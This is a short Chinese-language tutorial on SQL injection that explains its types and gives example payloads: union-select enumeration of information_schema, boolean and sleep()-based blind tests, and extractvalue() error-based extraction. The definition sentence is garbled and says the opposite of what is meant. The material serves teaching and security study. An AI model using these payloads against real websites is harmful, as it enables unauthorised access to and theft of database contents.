什么是SQL注入?
SQL注入指由于开发者代码不严谨,对用户的输入数据进行严格的限制、过滤。攻击者将恶意的SQL命令插入到程序中达到获取数据的目的。
SQL注入分类
?按变量类型分类:
数字型 字符型
?按SQL语句提交方式分类:
GET注入POST注入Cookie注入Session注入
?按注入方式分类:
有回显:
联合爆破查询注入(union select) 堆叠注入 无回显: 报错注入 时间盲注 布尔盲注
SQL常见语句格式
SQL语句的四大类,也是web应用中常用到的就是:增、删、查、改
增:
INSERT INTO (, ...) VALUES(, ...)
删:
DELETE FROM WHERE
查:
SELECT [, ] FROM WHERE
改:
UPDATE SET =[, =] WHERE
常见注入方法详解
?联合爆破查询注入
此时如果单引号、union、select都没有被过滤,我们就可以使用联合爆破查询来进行SQL注入。我们只需要在浏览器的网站后面输入' or 1=1 order by 1#根据是否有回显来判定。在有回显的字段上使用子查询来获取数据库相关信息
相关的信息函数包括:
数据库名:
database()数据库版本号:
version()数据库账户:
user()操作系统:
@@version_compile_os具体注入方法如下:查询所有数据库的名称
union select 1, 2, schema_name from information_schema.schemata
查询当前数据库中所有的表名
union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database()
其中group_concat()可以将多行数据转化为一行
查询到的表名中的列名
union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=''
知道了数据库、数据表、字段名,则直接进行联合查询即可
union select 1,2,group_concat() from [.]
?布尔盲注
布尔盲注使用的条件是:页面对于SQL语句的返回结果不予以显示,并且对于真条件(true)和假条件(false)的返回内容存在差异。如我们可以在浏览器地址后面跟上' or 1=2 ' and 1=1 通过逻辑判断每次输入后页面结果显示是否一样。
✈️时间盲注
时间盲注的条件比布尔盲注更加宽松,它不需要页面有任何的回显,它通过判断页面返回内容的响应时间差异进行条件判断 如:
select * from users where username='' or if(length(database())>5,sleep(4),1)
?报错注入
报错注入的使用条件是:服务器开启报错信息返回,也就是发生错误时返回报错信息。
我们可以利用特殊函数的错误使用使其参数被页面输出,常用的函数有:exp()、floor()+rand()、updatexml()、extractvalue()等
如:
select * from use3rs where username=$username or extractvalue(1, concat(0x7e,(select database())))
小结
本文为大家将Sql注入的原理和方法进行了简单的说明。而要想提高sql注入的水平和手段,还是需要在实践中不断来提升自己的能力。